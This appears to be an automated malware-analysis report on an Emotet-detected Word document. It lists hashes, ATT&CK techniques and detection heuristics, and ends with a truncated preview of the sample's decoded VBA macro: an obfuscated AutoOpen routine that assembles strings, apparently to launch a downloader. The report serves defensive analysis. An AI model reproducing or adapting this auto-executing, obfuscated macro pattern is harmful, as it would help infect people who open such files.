Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f8b789c9db49c8d5…

MALICIOUS

Office (OLE)

135.0 KB Created: 2018-09-28 09:11:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: f403346a142d36e50579f0e7b756b138 SHA-1: b17eb3cceda0b2433c7cc6e0a3d497266b5732ae SHA-256: f8b789c9db49c8d5f8de129be7941f7047483e3076b5af2dd9f938fd41dbf854
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample was detected as Emotet by ClamAV and contains critical heuristics for VBA macros and Shell() calls. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening. The VBA script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826489-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826489-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84527 bytes
SHA-256: 56c6a3e76a5d0a55c954ace1eae12dd17aacd36fdb6f48a722da44b10ba883c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kQSIzGDwt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim fRXLHk(2)
fRXLHk(0) = InStr(LRAdH + mhnKzwliZsEjiTDqja + AiBGVza, IJXZuNa + fsmPjfcihaRTcbjwIblDK + zJJoFdXA) + InStr(wlzVit + pTojwdHhKHtocIjRubwtS + wBiai, KUnHTN + YzNtAdWNqLcWRsznjGwD + ZiHVcL) + InStrRev(NDzfZhf + UkTFztNlVZzaZUbzPHli + JNvuwQIG, SLTbkiI + fmndAzFGKRiGNPoSpFRssv + AAOlzv) + InStr(EWkuzrK + QvMwEmFwBkNtuiXaSYRnS + SvmUz, vbzQYvNJ + tDMKbWWmDJItKtUJMU + XwSiGCJs)
fRXLHk(1) = InStrRev(HuPaAqt + KrjXcrXNtzbppMJTQUdLA + OijtdPwW, raprjpHz + SEAmnazijjflsdHQjiS + wlTbji) + InStrRev(rbZJi + vpzsMLpFOrLZjAIipC + SzKUoKLT, CUujZjB + OMpTWcRuAwIDhqCvXitudf + fAaZjE) + InStrRev(mdjns + mSRYwnBjjFNRMnZNm + bPDzjDCN, AOGbL + bbzttaqoUQsOikVCUBGAwTR + COqAj) + InStrRev(LuEhoNI + lUAZQtSJnzUaAadlRiPM + YajKNHsE, wQcwJv + tdRkudFPXkFVINhjZvfEQ + cLwhbVY)
   Dim XdwwiR(1)
XdwwiR(0) = InStr(zJtHiYW + GEWrGBqVFGuCpCHnaf + RhYLd, jwEQNtLz + LGIMGhwMDjRjYzEJhqJ + VHplbnr) + InStrRev(LOZYvLAb + NMRPjbvHnjlChfsLtZMbbX + ACsJGz, QDsIJ + kRGZLrtEHQwsBkXLotOidm + OmFjBH) + InStrRev(KVwzYHz + pCzJjBlwzwVnAVfSHX + KZaUtZnh, dnjLMiY + DJjGXsKwcfYdajFtHMLQD + pEpIw) + InStrRev(ZLfbT + jckFPKzWWdcirtjTOCF + flVEPhNP, YjaKnc + iTfTOGmmvzoZdadouzoIN + YCRisr)
   Dim KanjF(2)
KanjF(0) = InStrRev(YVULspDu + MjwNYBaIuTBvPpCHEldVz + wwumHBd, rbFlY + DJiWaEuzBnzFiFpFcNOnR + GpVkQ) + InStrRev(NZMTkIrU + GOdiZhdATkKpWMzPZPkDIsJw + jNHObj, jjIsjUPG + qGltsfaWKVmQiPFdwNpJ + SjhfPnB)
KanjF(1) = InStrRev(IZinVc + KsYuPtDFKdGwjJaw + GWTwraZz, BIJiRho + nbKdYBHcCdudEVEzY + GdaczN) + InStrRev(zVYrFQv + NpTwvzqXzavcqdUjCwmo + CIVmpvIc, ifYLjkE + vjXiuivPqwbBioUlYCSTS + duJASsCY) + InStrRev(fiaDCz + LJhzYSrSLNdQEFslOXFYc + NKuiVCZ, zOfVq + ZrLLwGawKOiOEEmFhUk + Ejwal) + InStr(vGUjjR + nETjLouTMJbilpCAHNbf + nTYtZD, zRdABi + QzOczJilqiQZciJXVWZ + VDlUw)
   Dim LWfVc(1)
LWfVc(0) = InStrRev(tiPzGo + zkhJwuJDfwficwWdcar + Wbvbq, KiciL + aYOMbqjrQjzwjoIzVnWz + qimwBw) + InStrRev(XvEONP + FkfuqOQwnVLhqDZlLtTpRtk + HYbtFpim, cbOnAOd + jriWUdjluNBGocMcFsIR + QKwGTb) + InStrRev(DtwcBH + CwsGaWlvcBBVpZGDTmfS + jCujPWE, pMYzptX + qZmwOVDvDwkafrUsFj + pmzMBZQK) + InStrRev(VbsomnZ + bBPwSwTwZfGizKPJTdi + JBBhr, TuUivZn + CGSlQUrPqbYPrizpRjRbt + MJGhX)
   Dim zsqrNO(2)
zsqrNO(0) = InStrRev(NuDBFj + dWPNHMQqodRXkJrWDzaW + jPPbj, RvYzj + kbQBYlLdCUrNMBnIMbzBzJp + cLuCC) + InStr(bjYzVpk + HoluQHzYuKnajQLTSIRp + ZHiBmWq, pUDajUpw + uzANfFiRUEqUqArwlX + mdYjpbw) + InStrRev(mhNbY + nhsYqjwUGtUwAtXNkHiP + rsESPs, sIEfv + iDGjhiLtwnELFRoFzquC + bOFrpF) + InStrRev(JFEbjVp + LVcoGzBmqqmNwWFPY + qJSBC, lSPlIij + VQEoCPzvVDiJPaHiSWE + ZAXaAE)
zsqrNO(1) = InStr(PwkwUj + WSFhjzcpzvbCQVqOC + zqUjPL, UjGCwDz + aYUlCJZzvTdiRISOMAjQ + cPVzTw) + InStr(LndWc + uRPPLwpHSnlkAIzXZtESj + VSiVO, jRjTAL + AOhfNjHiVYEWnqwjdXklE + EitWHl)
   Dim bEiwl(2)
bEiwl(0) = InStrRev(JCapicnI + jqCSiIdpbmXlwDNbcZQUrS + dzERnuim, lwwBLwRJ + imznahBQWLzhPzJwcGKqr + fbOUCi) + InStrRev(PrwQrGz + qjmOhBLHKJKTkIBVn + dSBzIp, sfdoAK + warJuXWvwqjbqaVD + hthqpR) + InStrRev(fuzTGDv + ZFviELzjoDnNiHvjKSEGt + BsNbAf, vzZidhhD + atSQpXSPlTVzBpoaIoXs + JWFnzcO) + InStrRev(SwzlCpJ + JUawXtWbdzoCAsBMAQJEW + sqZDlwa, EILzMzc + AoPwEDWzNAAPEcozXszNvQn + BACnHT)
bEiwl(1) = InStrRev(TvlVhzA + jpEiLzidtBjQiBmz + swiwU, bpvwA + wUnqpCJZUFzPUqDCurs + rEmDnwC) + InStrRev(zSKOvHI + WOqUrrJkuzvpGzlPFq + iVPCjR, uqcWHvWN + iNIdjKLNwVsuzLzbo + VwCEMjrE) + InStrRev(UnLNIB + qUESasEbJkGNmsKaf + TITzXJM, KNWzjnDX + HIiUEOaZVwaGBvwcfi + VZKPIdwp) + InStrRev(TpTloPL + mLpkHOjrEvUdPOuXFzajMz + vQHjRW, ifpDA + GkrGqaFYUoDmLfdknSkVdwdJ + ErWjBUv)
UjjaQbiKnOmRF (KeyString(nOLWPR + SQNsvOjk + 21 + 18 + 28 + PftKRtBi + DCIjz) + cOHZcCt + MVcohzjE + KeyString(iczSVjhs + HdtpjH + 24 + 21 + 32 + NmczU + jFvUGTE) + chQkST + vKRamNR + okLdzBNv + plAkWNkh + bwsbkkiC)
   Dim KCqRn(1)
KCqRn(0) = InStrRev(LCGbDBQw + awlPwEHivzD
... (truncated)

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